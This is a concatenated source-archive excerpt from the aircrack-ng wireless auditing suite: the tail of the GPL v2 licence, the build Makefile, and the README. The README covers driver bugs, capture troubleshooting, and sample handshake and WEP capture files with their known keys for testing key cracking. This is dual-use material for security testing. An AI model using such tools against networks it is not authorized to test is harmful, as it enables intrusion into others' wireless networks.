COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. aircrack-ng-1.2-rc4/Makefile0000644000000000000000000000365212640667310014374 0ustar rootrootneed := 3.81 ok := $(filter $(need),$(firstword $(sort $(MAKE_VERSION) \ $(need)))) ifndef ok $(error fatal error... Need make $(need) but using $(MAKE_VERSION), please upgrade) endif AC_ROOT = . include $(AC_ROOT)/common.mak DOCFILES = ChangeLog INSTALLING README LICENSE AUTHORS VERSION COVERITY_BUILD ?= cov-build COVERITY_DIR = cov-int COVERITY_TAR_GZ = Aircrack-ng.tar.gz COVERITY_CREDS_DIR = coverity COVERITY_TOKEN = $(shell cat ${COVERITY_CREDS_DIR}/token) COVERITY_EMAIL = $(shell cat ${COVERITY_CREDS_DIR}/email) default: all all: $(MAKE) -C src $(@) coverity-build: $(COVERITY_BUILD) --dir $(COVERITY_DIR) $(MAKE) sqlite=true experimental=true pcre=true coverity-package: coverity-build tar czvf $(COVERITY_TAR_GZ) $(COVERITY_DIR) coverity-upload: coverity-package curl --form project=Aircrack-ng --form token=$(COVERITY_TOKEN) --form email=$(COVERITY_EMAIL) --form file=@$(COVERITY_TAR_GZ) --form version=r$(REVISION) --form description="Aircrack-ng svn r$(REVISION)" http://scan5.coverity.com/cgi-bin/upload.py coverity-show-creds: @echo "Token: $(COVERITY_TOKEN)" @echo "Email: $(COVERITY_EMAIL)" aircrack-ng-opt-prof_gen: all mkdir -p prof $(MAKE) -C src $(@) aircrack-ng-opt-prof_use: $(MAKE) -C src $(@) install: all $(MAKE) -C src $(@) $(MAKE) -C scripts $(@) $(MAKE) -C manpages $(@) @echo " " @echo "[*] Run 'airodump-ng-oui-update' as root (or with sudo) to install or update Airodump-ng OUI file (Internet connection required)." uninstall: $(MAKE) -C src $(@) -rm -fr $(DESTDIR)$(docdir) $(MAKE) -C manpages $(@) $(MAKE) -C scripts $(@) strip: $(MAKE) -C src $(@) doc: install -d $(DESTDIR)$(docdir) install -m 644 $(DOCFILES) $(DESTDIR)$(docdir) clean: -rm -rf $(COVERITY_DIR) -rm -f common.cfg $(MAKE) -C src $(@) $(MAKE) -C test/cryptounittest $(@) $(MAKE) -C test $(@) distclean: clean check: $(MAKE) -C src $(@) $(MAKE) -C test/cryptounittest $(@) $(MAKE) -C test $(@) aircrack-ng-1.2-rc4/README0000644000000000000000000001362212630762477013623 0ustar rootrootDocumentation, tutorials, ... can be found on http://www.aircrack-ng.org See also manpages and the forum. Installing ========== This version now requires more libraries than 0.X versions to be compiled. See INSTALLING file for more information OpenWrt Devices =============== You can use airodump-ng on OpenWrt devices. You'll have to use specify prism0 as interface. Airodump-ng will automatically create it. Rq: Aireplay DOESN'T work on OpenWrt (2.4 kernel) with broadcom chipset since the driver doesn't support injection. It *may* work with 2.6 kernels >= 2.6.24 (kamikaze 8.09+ custom-built). Known bugs: =========== Drivers ------- Madwifi-ng ---------- The cause of most of these problems (1, 2 and 3) is that Madwifi-ng cannot easily change the rate in monitor mode. Technically, when changing rate while in monitor mode, the raw socket gets invalidated and we have to get it again. Madwifi-ng is getting replaced by several drivers: ath5k, ath9k and ar9170. Problem 1: No client can associate to an airbase soft AP. Solution: Use a more recent driver. Madwifi-ng has been deprecated for years. Problem 2: When changing rate while you are capturing packet makes airodump-ng stall Solution 2: Restart airodump-ng or change rate before starting it. Problem 3: After some time it stops capturing packets and you're really sure no network manager are running at all. Solution 3: That's a known bug in the driver, it may happen at any time (the time before it fails can vary a lot: from 5 minutes to 50 or even more). Try (as root) unloading completely the driver with 'madwifi-unload' and then run 'modprobe ath_pci autocreate=monitor'. Problem 4: When creating a new VAP airodump-ng takes up to 10-15 seconds to see the first packet Solution 4: It's the behaviour of madwifi-ng, don't worry (... be happy ;)). Orinoco ------- Problem: BSSID is not reported correctly or is 00:00:00:00:00:00 or signal is not reported correctly. Solution: None. Consider replacing your card, orinoco is really really old. Aircrack-ng ----------- Aireplay-ng ----------- Problem: Fakeauth on a WRT54G with WEP (shared authentication) doesn't work. Solution: None at this time (we'll try to fix it in an upcoming release). Airolib-ng ---------- Problem: On windows only, opening/creating a database doesn't work when airolib-ng is in directories containing special characters like 'ç', 'é', 'è', 'à', ... (directories containing spaces are not affected). Reason: It's a SQLite issue. Solution: Rename the directory or move the database into another directory. Airodump-ng ----------- Problem: Airodump-ng stop working after some time. Solution 1: You may have a network manager running that puts back the card in managed mode. You'll have to disable it (the fastest solution is killing the process) then restart airodump-ng. Solution 2: See Problem 3 of Madwifi-ng. Problem: On windows, it doesn't display a list of adapters like the old 0.X Solution: It requires you to develop your own DLL. Problem: Handshake is not captured/detected Reason: You might be too far and your signal is bad (or too close with a signal too strong). Another possibility is that Airodump-ng didn't detect the handshake properly due to being far apart in the capture. Solution 1: Check out our tutorial 'WPA Packet Capture Explained' in the wiki. Solution 2: Try running Aircrack-ng on your capture, it might detect the capture. Solution 3: Check out our wpaclean tool. Note: It will be fixed in an upcoming release. Cygwin ------ Problem: Aircrack-ng doesn't build on Cygwin64 Solution: None at this time. Build it using 32 bit cygwin. Problem: /usr/include/sys/reent.h:14:20: fatal error: stddef.h: No such file or directory Solution: It happens because the gcc and g++ version are different. Make sure they are the same. Sample files ============ wep.open.system.authentication.cap: It show a connexion (authentication then association) to a WEP network (open authentication). wep.shared.key.authentication.cap: It shows a connexion (authentication then association to a WEP network (shared authentication). The difference with open authentication is that the client has to encrypt a challenge text and send it back (encrypted) to the AP to prove it has the right key. wpa.cap: This is a sample file with a WPA handshake. It is located in the test/ directory of the install files. The passphrase is 'biscotte'. Use the password file (password.lst) which is in the same directory. wpa2.eapol.cap: This is a sample file with a WPA2 handshake. It is located in the test/ directory of the install files. The passphrase is '12345678'. Use the password file (password.lst) which is in the same directory. test.ivs (http://download.aircrack-ng.org/wiki-files/other/test.ivs): This is a 128 bit WEP key file. The key is AE:5B:7F:3A:03:D0:AF:9B:F6:8D:A5:E2:C7. ptw.cap (http://dl.aircrack-ng.org/ptw.cap): This is a 64 bit WEP key file suitable for the PTW method. The key is '1F:1F:1F:1F:1F'. wpa-psk-linksys.cap: This is a sample file with a WPA1 handshake along with some encrypted packets. Useful for testing with airdecap-ng. The password is 'dictionary'. wpa2-psk-linksys.cap: This is a sample file with a WPA2 handshake along with some encrypted packets. Useful for testing with airdecap-ng. The password is 'dictionary'. password.lst This is a sample wordlist for WPA key cracking. More wordlists can be found at http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists password.db This is a sample airolib-ng database for WPA key cracking. pingreply.c Replies to all ping requests. Useful for testing sniffing/injecting packets with airtun-ng. Chinese-SSID-Name.pcap Contains a beacon with an SSID displayed in Chinese. verify_inject.py Testing DNS requests using airtun-ng.